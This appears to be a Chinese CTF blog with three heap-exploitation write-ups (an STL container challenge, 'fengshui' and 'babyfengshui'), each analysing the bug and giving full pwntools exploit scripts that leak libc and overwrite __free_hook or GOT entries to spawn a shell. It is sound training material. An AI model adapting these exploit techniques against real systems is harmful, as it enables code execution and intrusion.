可以看到0x560ff5676490处,原本放vector(0)字符串地址的位置被vector(1)字符串地址0x0000560ff56765f0覆盖了,而且vector(1)字符串地址处的空间被释放了,vector(0)的字符串“vector111”依然在堆中。

执行show(0)时,返回如下信息:

[DEBUG] Received 0x4f bytes:
    00000000  64 61 74 61  3a 20 b0 64  67 f5 0f 56  0a 53 54 4c  │data│: ·d│g··V│·STL│
    00000010  20 43 6f 6e  74 61 69 6e  65 72 20 54  65 73 74 0a  │ Con│tain│er T│est·│
    00000020  31 2e 20 6c  69 73 74 0a  32 2e 20 76  65 63 74 6f  │1. l│ist·│2. v│ecto│
    00000030  72 0a 33 2e  20 71 75 65  75 65 0a 34  2e 20 73 74  │r·3.│ que│ue·4│. st│
    00000040  61 63 6b 0a  35 2e 20 65  78 69 74 0a  3e 3e 20     │ack·│5. e│xit·│>> │
    0000004f
data: \xb0dg�V

根据接收到的data可以看出,打印的是b0 64 67 f5 0f 56,这个正好对上了此时地址0x560ff56765f0处的内容。

  • 分析到这里,可以看出我们在delete 0号vector时,实际发生了这么一个过程:0号vector的字符串地址被从0x560ff5676490空间中删除,并且将1号vector的字符串地址前移一位;然后再free 0号vector的字符串地址,但此时该处已经变成 1号vector的字符串地址;因此导致删除 0号vector却free了 1号vector的字符串地址。而1号vector的字符串地址后续还可以继续被使用,这就是一个悬空指针。

3 悬空指针可以做什么

这个悬空指针目前有两种操作:

  • delete() - double free。由于这个题是ubuntu18.04下libc-2.27.so,有Tcache,因此一次double free就可以形成一个环,进而任意地址写。可以参考我之前做过的一个链接:https://blingblingxuanxuan.github.io/2020/03/13/TcacheTear/
  • show() - 泄露信息。如libc、堆栈、程序等地址或信息。

3.1 泄露libc

通常的做法是将一个chunk free到unsorted bin中,再将这个chunk申请回来,然后打印该chunk内容,就可以计算出libc的地址。

这道题中我们无法控制申请的堆空间的大小,但是每add一个list/vector/queue/stack时,在Test::Init中都有malloc(0x98),这些chunk在相应的delete操作后都会串到大小为0xa0的Tcache链上。一条Tcache链最多串7个chunk,第8个相同大小的chunk会被放到unsorted bin中。

构造如下顺序的add和delete。最先delete list(1)时,大小为0xa0的Tcache链上会存在一个之前的chunk,此时我们只需delete 6个就可以将vector(0)放到unsorted bin中(实际是将vector(1)的data块扔到了unsorted bin),接下来通过show(vector 0)就可以读取到leak的地址,从而得到malloc_state结构体地址,最后查找libc-2.27.so中malloc_trim()中malloc_state的偏移,就可以计算出libc地址。

vector_add("vector111")
vector_add("vector222")
list_add("list111")
list_add("list222")
queue_add("queue111")
queue_add("queue222")
stack_add("stack111")
stack_add("stack222")

list_delete(1)
list_delete(0)
queue_delete()
queue_delete()
stack_delete()
stack_delete()
vector_delete(0)

vector_show(0)
leak_addr = u64(myproc.recvuntil("\n")[:-1].ljust(8,"\x00"))
state_addr = leak_addr - 0x60
libc_addr = state_addr - 0x3EBC40
log.warn("libc_addr: 0x%x" % libc_addr)

3.2 写libc的函数指针

由于本题got表不可写,且开启了PIE。因此考虑写libc中的函数指针,如__malloc_hook__free_hook,将函数指针写成one gadget地址,下次调用到malloc或free时就能get shell。

泄露完libc后,需要调整下堆空间的布局,通过double free获取一个环(在Tcache链上),从而去任意地址写。

由于此时Tcache上0xa0链上是满的,因此需要add操作将Tcache链上的chunk用掉一些。我这里add了三次,其中一次必须是add vector(凑齐两个vector),不然后续无法delete 两次形成double free。

one_gadget1 = libc_addr + 0x4f322
free_hook_addr = libc_addr + 0x3ed8e8

vector_add("vector333")
list_add("list333")
list_add("list444")
vector_delete(0)
vector_delete(0)

vector_add(p64(free_hook_addr))
vector_add(p64(one_gadget1))

在libc-2.27.so中找到三个可用gadget,其中0x4f322可利用成功:

bling@Ubuntu1804:/mnt/hgfs/vmshare-1804$ one_gadget libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

2 EXP

#coding=utf-8
from pwn import *

context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./stl_container")
mylibc = ELF("./libc-2.27.so")
myproc = process(myelf.path)

def list_add(data):
    myproc.recvuntil(">> ")
    myproc.sendline(str(1))
    myproc.recvuntil(">> ")
    myproc.sendline(str(1))
    myproc.recvuntil("input data:")
    myproc.sendline(data)

def list_delete(index):
    myproc.recvuntil(">> ")
    myproc.sendline(str(1))
    myproc.recvuntil(">> ")
    myproc.sendline(str(2))
    myproc.recvuntil("index?")
    myproc.sendline(str(index))

def list_show(index):
    myproc.recvuntil(">> ")
    myproc.sendline(str(1))
    myproc.recvuntil(">> ")
    myproc.sendline(str(3))
    myproc.recvuntil("index?")
    myproc.sendline(str(index))

def vector_add(data):
    myproc.recvuntil(">> ")
    myproc.sendline(str(2))
    myproc.recvuntil(">> ")
    myproc.sendline(str(1))
    myproc.recvuntil("input data:")
    myproc.sendline(data)

def vector_delete(index):
    myproc.recvuntil(">> ")
    myproc.sendline(str(2))
    myproc.recvuntil(">> ")
    myproc.sendline(str(2))
    myproc.recvuntil("index?")
    myproc.sendline(str(index))

def vector_show(index):
    myproc.recvuntil(">> ")
    myproc.sendline(str(2))
    myproc.recvuntil(">> ")
    myproc.sendline(str(3))
    myproc.recvuntil("index?")
    myproc.sendline(str(index))

def queue_add(data):
    myproc.recvuntil(">> ")
    myproc.sendline(str(3))
    myproc.recvuntil(">> ")
    myproc.sendline(str(1))
    myproc.recvuntil("input data:")
    myproc.sendline(data)

def queue_delete():
    myproc.recvuntil(">> ")
    myproc.sendline(str(3))
    myproc.recvuntil(">> ")
    myproc.sendline(str(2))

def stack_add(data):
    myproc.recvuntil(">> ")
    myproc.sendline(str(4))
    myproc.recvuntil(">> ")
    myproc.sendline(str(1))
    myproc.recvuntil("input data:")
    myproc.sendline(data)

def stack_delete():
    myproc.recvuntil(">> ")
    myproc.sendline(str(4))
    myproc.recvuntil(">> ")
    myproc.sendline(str(2))

###leak libc###
vector_add("vector111")
vector_add("vector222")
list_add("list111")
list_add("list222")
queue_add("queue111")
queue_add("queue222")
stack_add("stack111")
stack_add("stack222")

list_delete(1)
list_delete(0)
queue_delete()
queue_delete()
stack_delete()
stack_delete()
vector_delete(0)

vector_show(0)
myproc.recvuntil("data: ")
leak_addr = u64(myproc.recvuntil("\n")[:-1].ljust(8,"\x00"))
log.warn("leak_addr: 0x%x" % leak_addr)

state_addr = leak_addr - 0x60
libc_addr = state_addr - 0x3EBC40
log.warn("libc_addr: 0x%x" % libc_addr)

### change libc hook###
one_gadget0 = libc_addr + 0x4f2c5
one_gadget1 = libc_addr + 0x4f322
one_gadget2 = libc_addr + 0x10a38c
malloc_hook_addr = libc_addr + 0x3ebc30
free_hook_addr = libc_addr + 0x3ed8e8
#free_hook_addr = libc_addr + mylibc.symbols['__free_hook']
log.warn("malloc_hook_addr: 0x%x" % malloc_hook_addr)
log.warn("free_hook_addr: 0x%x" % free_hook_addr)
log.warn("one_gadget0: 0x%x" % one_gadget0)
log.warn("one_gadget1: 0x%x" % one_gadget1)
log.warn("one_gadget2: 0x%x" % one_gadget2)

vector_add("vector333")
list_add("list333")
list_add("list444")
vector_delete(0)
vector_delete(0)

vector_add(p64(free_hook_addr))
vector_add(p64(one_gadget1))

#gdb.attach(myproc)
myproc.interactive()
Read More

男票带我练CTF之fengshui

  • 题目文件:

1 分析

1.1 程序基本信息

首先查看二进制文件信息:

$ file fengshui
fengshui: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.24, BuildID[sha1]=45b09ec28a895f08b53682ead4e084874ee4b466, stripped
$ checksec fengshui
[*] '/mnt/hgfs/vmshare-1604/fengshui/ida/fengshui'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

1.2 IDA源码分析

程序有4个功能:添加person,删除person,修改person名字,打印person信息。

1.2.1 添加person

image

1.2.2 删除person

1.2.3 修改person名字

1.2.4 打印person信息

2 利用思路

image

image

3 exp

使用one_gadget的方式获取shell

搜索libc中的可用gadget,挨个试试,最后一个在我的机器上可以成功。

bling@bling:~$ one_gadget libc-2.23.so 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

  • exp如下
#coding=utf-8
from pwn import *
context(arch = "amd64",os = "linux",log_level = "debug")

myelf = ELF("./fengshui")
myproc = process(myelf.path)

def add(name_len,name,school_len,school,yes_no):
    myproc.recvuntil("option:")
    myproc.sendline(str(1))
    myproc.recvuntil("please input the length of name")
    myproc.sendline(str(name_len))
    myproc.recvuntil("please input name")
    myproc.sendline(name)
    myproc.recvuntil("please input the length of schoolname")
    myproc.sendline(str(school_len))
    myproc.recvuntil("please input the school name")
    myproc.sendline(school)
    myproc.recvuntil("is a tutor?(yes/no)")
    myproc.sendline(yes_no)

def delete(id):
    myproc.recvuntil("option:")
    myproc.sendline(str(2))
    myproc.recvuntil("input a id to delete")
    myproc.sendline(str(id))

def edit(id,option,len,name):
    myproc.recvuntil("option:")
    myproc.sendline(str(3))
    myproc.recvuntil("input a id to edit")
    myproc.sendline(str(id))
    myproc.recvuntil("option:")
    myproc.sendline(str(option))
    myproc.recvuntil("please input the length of new name")
    myproc.sendline(str(len))
    myproc.recvuntil("please input new name")
    myproc.sendline(name)


def sayhello(id):
    myproc.recvuntil("option:")
    myproc.sendline(str(4))
    myproc.recvuntil("input a id to sayhello")
    myproc.sendline(str(id))

for i in range(10):
    add(0x10,"xiayuan",20,"NUDT","yes")
    add(0x20,"xiayuan",20,"NUDT","yes")
    add(0x30,"xiayuan",20,"NUDT","yes")
    add(0x40,"xiayuan",20,"NUDT","yes")
    add(0x50,"xiayuan",20,"NUDT","yes")
    add(0x60,"xiayuan",20,"NUDT","yes")
    add(0x70,"xiayuan",20,"NUDT","yes")

add(0x10,"xiayuan70",20,"NUDT70","yes")
add(0x10,"xiayuan71",20,"NUDT71","yes")
add(0x10,"xiayuan72",20,"NUDT72","yes")
add(0x10,"xiayuan73",20,"NUDT73","yes")

payload = "a" * 0x40 + p64(71) + p64(myelf.got["puts"]) + p64(0x400760) + p64(0) 
#payload = "a" * 0x40 + p64(71) + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(0) #+ p64(0)
edit(70,1,990,payload)
sayhello(71)
myproc.recv()
puts_addr = u64(myproc.recvuntil("\n")[:-1].ljust(8,"\x00"))
log.warn("put addr: 0x%x" % puts_addr)

libc_base = puts_addr - 0x6F690
sh_gadget = libc_base + 0xf1147
log.warn("libc base: 0x%x" % libc_base)
log.warn("gadget addr: 0x%x" % sh_gadget)

payload = "a" * 0x40 + p64(73) + p64(0) + p64(sh_gadget) + p64(0) 
edit(72,1,990,payload)
sayhello(73)

#gdb.attach(myproc)
myproc.interactive()

使用system函数获取shell

#coding=utf-8
from pwn import *
context(arch = "amd64",os = "linux",log_level = "debug")

myelf = ELF("./fengshui")
mylibc = ELF("./libc-2.23.so")
myproc = process(myelf.path)

def add(name_len,name,school_len,school,yes_no):
    myproc.recvuntil("option:")
    myproc.sendline(str(1))
    myproc.recvuntil("please input the length of name")
    myproc.sendline(str(name_len))
    myproc.recvuntil("please input name")
    myproc.sendline(name)
    myproc.recvuntil("please input the length of schoolname")
    myproc.sendline(str(school_len))
    myproc.recvuntil("please input the school name")
    myproc.sendline(school)
    myproc.recvuntil("is a tutor?(yes/no)")
    myproc.sendline(yes_no)

def delete(id):
    myproc.recvuntil("option:")
    myproc.sendline(str(2))
    myproc.recvuntil("input a id to delete")
    myproc.sendline(str(id))

def edit(id,option,len,name):
    myproc.recvuntil("option:")
    myproc.sendline(str(3))
    myproc.recvuntil("input a id to edit")
    myproc.sendline(str(id))
    myproc.recvuntil("option:")
    myproc.sendline(str(option))
    myproc.recvuntil("please input the length of new name")
    myproc.sendline(str(len))
    myproc.recvuntil("please input new name")
    myproc.sendline(name)


def sayhello(id):
    myproc.recvuntil("option:")
    myproc.sendline(str(4))
    myproc.recvuntil("input a id to sayhello")
    myproc.sendline(str(id))

for i in range(10):
    add(0x10,"xiayuan",20,"NUDT","yes")
    add(0x20,"xiayuan",20,"NUDT","yes")
    add(0x30,"xiayuan",20,"NUDT","yes")
    add(0x40,"xiayuan",20,"NUDT","yes")
    add(0x50,"xiayuan",20,"NUDT","yes")
    add(0x60,"xiayuan",20,"NUDT","yes")
    add(0x70,"xiayuan",20,"NUDT","yes")

add(0x10,"xiayuan70",20,"NUDT70","yes")
add(0x10,"xiayuan71",20,"NUDT71","yes")
add(0x10,"xiayuan72",20,"NUDT72","yes")
add(0x10,"xiayuan73",20,"NUDT73","yes")

payload = "a" * 0x40 + p64(71) + p64(myelf.got["puts"]) + p64(0x400760) + p64(0) 
#payload = "a" * 0x40 + p64(71) + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(0) #+ p64(0)
edit(70,1,990,payload)
sayhello(71)
myproc.recv()
puts_addr = u64(myproc.recvuntil("\n")[:-1].ljust(8,"\x00"))
log.warn("put addr: 0x%x" % puts_addr)

libc_base = puts_addr - 0x6F690
system_addr = libc_base + 0x45390
sh_addr = libc_base + next(mylibc.search("/bin/sh\x00"))
log.warn("libc base: 0x%x" % libc_base)
log.warn("system addr: 0x%x" % system_addr)
log.warn("sh addr: 0x%x" % sh_addr)

payload = "a" * 0x40 + p64(73) + p64(sh_addr) + p64(system_addr) + p64(0) 
edit(72,1,990,payload)
sayhello(73)

#gdb.attach(myproc)
myproc.interactive()
Read More

男票带我练CTF之babyfengshui

1 分析

1.1 二进制程序基本信息

$ file babyfengshui 
babyfengshui: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=cecdaee24200fe5bbd3d34b30404961ca49067c6, stripped

$ checksec babyfengshui 
[*] '/mnt/hgfs/vmshare-1604/babyfengshui/babyfengshui'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

1.2 IDA分析源码流程

程序主要有四个函数:添加用户,删除用户,展示用户信息,升级用户信息。

添加用户

····
printf("size of description: ");
__isoc99_scanf("%u%c", &v2, &v0);
add_user(v2);
····
_DWORD *__cdecl add_user(size_t a1)
{
  void *s; // ST24_4
  _DWORD *v2; // ST28_4

  s = malloc(a1);
  memset(s, 0, a1);
  v2 = malloc(0x80u);
  memset(v2, 0, 0x80u);
  *v2 = s;
  ptr[(unsigned __int8)user_num] = v2;
  printf("name: ");
  get_v1((char *)ptr[(unsigned __int8)user_num] + 4, 0x7C);
  update_description(++user_num - 1);
  return v2;
}

添加用户的代码,做了这么一件事,如下图所示。首先创建一个堆块用来存放description信息,用*S指向它;再创建一个堆块,用*V2指向它,前四个字节存放description的地址,后面用来存放名字name;最后将bss段的ptr[0]指向*V2这个堆块。并将byte_804b069自加1,这个值相当于记录目前一共申请了多少个user。

image

删除用户

printf("index: ");
__isoc99_scanf("%d", &v2);
del_user(v2);

unsigned int __cdecl del_user(unsigned __int8 index)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( index < (unsigned __int8)user_num && ptr[index] )
  {
    free(*(void **)ptr[index]);
    free(ptr[index]);
    ptr[index] = 0;
  }
  return __readgsdword(0x14u) ^ v2;
}

删除用户的代码中,将一个用户拥有的两个堆块分别释放,并将bss段对应的ptr[n]置0。虽然此时*V2的前四个字节还指向*S,但当堆块被扔到bin中时,会做清理,因此不会造成问题。

展示用户信息

printf("index: ");
__isoc99_scanf("%d", &v2);
disp_user(v2);

unsigned int __cdecl disp_user(unsigned __int8 index)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( index < (unsigned __int8)user_num && ptr[index] )
  {
    printf("name: %s\n", (char *)ptr[index] + 4);
    printf("description: %s\n", *(_DWORD *)ptr[index]);
  }
  return __readgsdword(0x14u) ^ v2;
}

这个函数很简单,根据给定的index,将用户的name和description信息打印出来。通过这个函数的功能我们可以猜测,之后泄露信息一定要用到它。

升级用户信息

printf("index: ");
__isoc99_scanf("%d", &v2);
update_description(v2);

unsigned int __cdecl update_description(unsigned __int8 index)
{
  char v2; // [esp+17h] [ebp-11h]
  int v3; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( index < (unsigned __int8)user_num && ptr[index] )
  {
    v3 = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &v3, &v2);
    if ( (char *)(v3 + *(_DWORD *)ptr[index]) >= (char *)ptr[index] - 4 )
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    get_v1(*(char **)ptr[index], v3 + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}

升级用户信息这个函数乍一看没看出问题,就是不太明白(char *)(v3 + *(_DWORD *)ptr[index]) >= (char *)ptr[index] - 4这一个判断的作用是啥,以为不会有漏洞点就跳过了。谁知道!!问题就出在这儿!!

这一判断的目的是,保证当前用户的description块不会覆盖name块。如果分配给一个用户的两个堆块是相邻的,且description块在低地址,name块在高地址的话,这个判断是很有用的。但是如果这两个堆块不相邻,那么问题就来了,位于description块和name块之间的所有堆块都可以被我们的输入覆盖。

因此,我们只要构造一个用户,其两个堆块在另一个用户堆块description块和name块之间即可。

利用分析

以添加第一个用户为例,需要我们指定description的堆块大小,还会申请一个固定大小0x80的堆块(该堆块被释放后会进入unsorted bin)。如果指定description大小为fast bin的大小,那么当删除这个用户时(非第一个用户,因为第一个用户的堆chunk紧挨着top chunk,释放后会跟top chunk合并而非进入bin中),description块会进入fast bin,而name块会进入unsorted bin(0x80)。

这时,如果我们添加一个用户,并且指定description大小为0x80,那么unsorted bin中的那个块会被分配给这个用户的description,然后再新生成一个0x80大小的chunk给这个用户做name块。因此就构造了如下图所示的两个用户堆块关系:

image

这样我们调用“升级用户信息”函数更改description A的值,使name B的前四个字节被覆盖为got表中的free表项(泄露free地址,我们要用(1)system替换free(2)将description A的前几个字节改成“/bin/sh\x00”,这样在删除用户free(S)时,就去执行了system("/bin/sh\x00")),这样当我们调用打印信息时,会去打印free这个got表项存放的真正的free函数地址,从而泄露出free函数地址(根据该地址,结合对应的libc版本,我们可以进一步算出libc基址和system函数地址)。

获得system函数地址后,我们调用升级B用户信息,将system地址写入got表中的free表项,从而实现了free函数的劫持。然后在之前往description A中写信息时,将”/bin/sh\x00”写在起始位置。最后,调用删除函数删除用户A的信息,就可以实现get shell利用了。

2 exp

#coding=utf-8
from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./babyfengshui')
#myproc = process(myelf.path)
myproc = remote("159.138.137.79",65054)

def add_user(size,name,text_length,text):
    myproc.recvuntil("Action: ")
    myproc.sendline(str(0))
    myproc.recvuntil("size of description: ")
    myproc.sendline(str(size))
    myproc.recvuntil("name: ")
    myproc.sendline(name)
    myproc.recvuntil("text length: ")
    myproc.sendline(str(text_length))
    myproc.recvuntil("text: ")
    myproc.sendline(text)

def del_user(user_index):
    myproc.recvuntil("Action: ")
    myproc.sendline(str(1))
    myproc.recvuntil("index: ")
    myproc.sendline(str(user_index))

def disp_user(user_index):
    myproc.recvuntil("Action: ")
    myproc.sendline(str(2))
    myproc.recvuntil("index: ")
    myproc.sendline(str(user_index))

def update_description(user_index,text_length,text):
    myproc.recvuntil("Action: ")
    myproc.sendline(str(3))
    myproc.recvuntil("index: ")
    myproc.sendline(str(user_index))
    myproc.recvuntil("text length: ")
    myproc.sendline(str(text_length))
    myproc.recvuntil("text: ")
    myproc.sendline(text)

add_user(0x10,'name0',0x10,'text0')
add_user(0x10,'name1',0x10,'text1')
del_user(0)
add_user(0x80,'name2',0x80,'text2')

payload = "/bin/sh\x00"+"a"*(0xa0 - len("/bin/sh\x00")) + p32(myelf.got['free'])
update_description(2,len(payload),payload)
disp_user(1)
myproc.recvuntil('description: ')
free_addr = u32(myproc.recv(4))

libc_base = free_addr - 0x070750
system_addr =  libc_base + 0x03a940

# 将free函数的got表项写成system函数地址
update_description(1,4,p32(system_addr))

del_user(2)
#gdb.attach(myproc)

myproc.interactive()

3 libc版本

根据泄露的函数地址的后三位可以确定对应的libc版本,具体操作见如下链接。

参考链接: https://www.jianshu.com/p/8d2552b8e1a2 https://libc.blukat.me/

4 题目参考链接

https://blog.csdn.net/Breeze_CAT/article/details/103788631

Read More

^